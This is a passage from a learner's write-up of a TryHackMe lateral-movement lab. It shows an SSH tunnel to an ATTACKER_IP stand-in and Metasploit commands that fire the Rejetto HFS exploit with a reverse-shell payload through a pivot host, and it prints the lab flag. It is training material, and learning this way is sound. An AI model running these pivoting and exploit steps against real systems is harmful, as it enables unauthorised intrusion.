, but be sure to use different ports as the lab is shared with other students, so if two of you choose the same ports, when trying to forward them, you’ll get an error stating that such port is already in use on THMJMP2.
To forward such ports from our attacker machine to THMJMP2, we will use local port forwarding by adding -L *:6666:127.0.0.1:6666
and -L *:7878:127.0.0.1:7878
to our ssh command. This will bind both ports on THMJMP2 and tunnel any connection back to our attacker machine.
Putting the whole command together, we would end up with the following:
THMJMP2: Command Prompt
C:\> ssh tunneluser@ATTACKER_IP -R 8888:thmdc.za.tryhackme.com:80 -L *:6666:127.0.0.1:6666 -L *:7878:127.0.0.1:7878 -N
Note: If you are using the AttackBox and have joined other network rooms before, be sure to select the IP address assigned to the tunnel interface facing the lateralmovementandpivoting
network as your ATTACKER_IP, or else your reverse shells/connections won’t work properly. For your convenience, the interface attached to this network is called lateralmovement
, so you should be able to get the right IP address by running ip add show lateralmovement
:

Once all port forwards are in place, we can start Metasploit and configure the exploit so that the required ports match the ones we have forwarded through THMJMP2:
AttackBox
user@AttackBox$ msfconsole
msf6 > use rejetto_hfs_exec
msf6 exploit(windows/http/rejetto_hfs_exec) > set payload windows/shell_reverse_tcp
msf6 exploit(windows/http/rejetto_hfs_exec) > set lhost thmjmp2.za.tryhackme.com
msf6 exploit(windows/http/rejetto_hfs_exec) > set ReverseListenerBindAddress 127.0.0.1
msf6 exploit(windows/http/rejetto_hfs_exec) > set lport 7878
msf6 exploit(windows/http/rejetto_hfs_exec) > set srvhost 127.0.0.1
msf6 exploit(windows/http/rejetto_hfs_exec) > set srvport 6666
msf6 exploit(windows/http/rejetto_hfs_exec) > set rhosts 127.0.0.1
msf6 exploit(windows/http/rejetto_hfs_exec) > set rport 8888
msf6 exploit(windows/http/rejetto_hfs_exec) > exploit
There is a lot to unpack here:
- The LHOST parameter usually serves two purposes: it is used as the IP where a listener is bound on the attacker’s machine to receive a reverse shell; it is also embedded on the payload so that the victim knows where to connect back when the exploit is triggered. In our specific scenario, since THMDC won’t be able to reach us, we need to force the payload to connect back to THMJMP2, but we need the listener to bind to the attacker’s machine on
127.0.0.1
. To this end, Metasploit provides an optional parameterReverseListenerBindAddress
, which can be used to specify the listener’s bind address on the attacker’s machine separately from the address where the payload will connect back. In our example, we want the reverse shell listener to be bound to 127.0.0.1 on the attacker’s machine and the payload to connect back to THMJMP2 (as it will be forwarded to the attacker machine through the SSH tunnel). - Our exploit must also run a web server to host and send the final payload back to the victim server. We use SRVHOST to indicate the listening address, which in this case is 127.0.0.1, so that the attacker machine binds the webserver to localhost. While this might be counterintuitive, as no external host would be able to point to the attacker’s machine localhost, the SSH tunnel will take care of forwarding any connection received on THMJMP2 at SRVPORT back to the attacker’s machine.
- The RHOSTS is set to point to 127.0.0.1 as the SSH tunnel will forward the requests to THMDC through the SSH tunnel established with THMJMP2. RPORT is set to 8888, as any connection sent to that port on the attacker machine will be forwarded to port 80 on THMDC.
After launching the exploit, you will receive a shell back at the attacker’s machine. You will find a flag on C:\hfs\flag.txt
.
Flag
THM{FOWARDING_IT_ALL}

#Task 8 Conclusion
Task 8 provides us for a list of other tools and techniques which can be utilized for similar outcomes.
My thoughts on this room:
I thoroughly enjoyed this room, it was a long room with a lot of new and useful information, I will continue to practice and improve on the art of lateral movement using the foundation provided here by TryHackMe.
If you are reading this, I hope my writeup has helped. I will continue to try and improve and definitely not have as much copy and pasting in the future where possible.